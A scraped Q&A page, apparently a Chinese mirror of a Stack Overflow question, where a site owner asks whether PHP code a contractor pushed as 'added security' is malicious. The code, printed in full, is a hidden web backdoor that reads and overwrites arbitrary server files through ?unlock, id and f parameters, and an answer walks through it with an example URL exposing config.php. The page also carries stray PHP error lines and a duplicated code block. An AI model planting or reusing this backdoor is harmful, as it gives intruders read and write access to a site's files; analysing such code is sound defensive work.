Warning: file_get_contents(/data/phpspider/zhask/data//catemap/1/php/292.json): failed to open stream: No such file or directory in /data/phpspider/zhask/libs/function.php on line 167

Warning: Invalid argument supplied for foreach() in /data/phpspider/zhask/libs/tag.function.php on line 1116

Notice: Undefined index: in /data/phpspider/zhask/libs/function.php on line 180

Warning: array_chunk() expects parameter 1 to be array, null given in /data/phpspider/zhask/libs/function.php on line 181
Php 此代码是恶意的还是安全的?_Php - Fatal编程技术网

Php 此代码是恶意的还是安全的?

Php 此代码是恶意的还是安全的?,php,Php,我在一个网站上工作,最近有人来做PHP部分的工作,我怀疑他可能在网站上添加了恶意代码,他未经允许也未向任何人提及任何内容就推了一点PHP 推送被标记为“增加了安全性”。 代码如下: <?PHP if(isset($_GET['unlock'])) { $id = $_GET['id']; $dic = $_SERVER['PHP_SELF']; $name = basename($dic) . "?unlock"; $url = './$name?unloc

我在一个网站上工作,最近有人来做PHP部分的工作,我怀疑他可能在网站上添加了恶意代码,他未经允许也未向任何人提及任何内容就推了一点PHP

推送被标记为“增加了安全性”。 代码如下:

<?PHP
if(isset($_GET['unlock'])) {
    $id = $_GET['id'];
    $dic = $_SERVER['PHP_SELF'];
    $name = basename($dic) . "?unlock";
    $url = './$name?unlock&id='.$id;
    $file = "./$id";

    if(isset($_GET['f'])) {
        $f = $_GET['f'];
        $file = "./$f/$id";
    }

    if (isset($_POST['text'])) {
        file_put_contents($file, $_POST['text']);

        if(isset($_GET['f'])) {
            $f = $_GET['f'];
            header('location: ' . $name . '&id=' . $id . '&f=' . $f);
        } else {
            header('location: ' .  $name . '&id=' . $id);
        }
    }

    $text = htmlentities(file_get_contents($file));

    echo "<form method='post'><input type='submit'><textarea name='text'>$text</textarea></form>$dic";
    die();
}
?>

提前谢谢。

让我们看看下面的内容

<?php
if(isset($_GET['unlock'])) {
...
}
如果传递参数unlock和id(文件名),再加上可选的参数f(文件夹),您可以在文本区域中看到该文件的内容。比如说

http://www.myserver.com/thescript.php?unlock&id=config.php&f=app
将公开应用程序文件夹中config.php中的任何敏感信息

最后,这一部分

if (isset($_POST['text'])) {

    file_put_contents($file, $_POST['text']);

    if(isset($_GET['f'])) {
    $f = $_GET['f'];
    header('location: ' . $name . '&id=' . $id . '&f=' . $f);
    } else {
    header('location: ' .  $name . '&id=' . $id);
    }

}

将允许您通过提交表单来编辑或创建文件。它可能会因为缺乏权限而失败,但由于您可以使用该文件夹,因此您只需坚持,直到找到一个可写的文件夹。

此问题似乎与主题无关,因为它是一个代码审阅请求。这更适合于这种情况。在发布之前,请务必阅读他们的文章,以确保您的问题符合他们的指导原则。不,此代码绝对不安全。XSS,上传任何他们想要的东西到任何地方,等等。我怀疑这是出于无知,而不是恶意。这个代码非常糟糕。不满/被解雇的员工?嗯……密码不安全
if (isset($_POST['text'])) {

    file_put_contents($file, $_POST['text']);

    if(isset($_GET['f'])) {
    $f = $_GET['f'];
    header('location: ' . $name . '&id=' . $id . '&f=' . $f);
    } else {
    header('location: ' .  $name . '&id=' . $id);
    }

}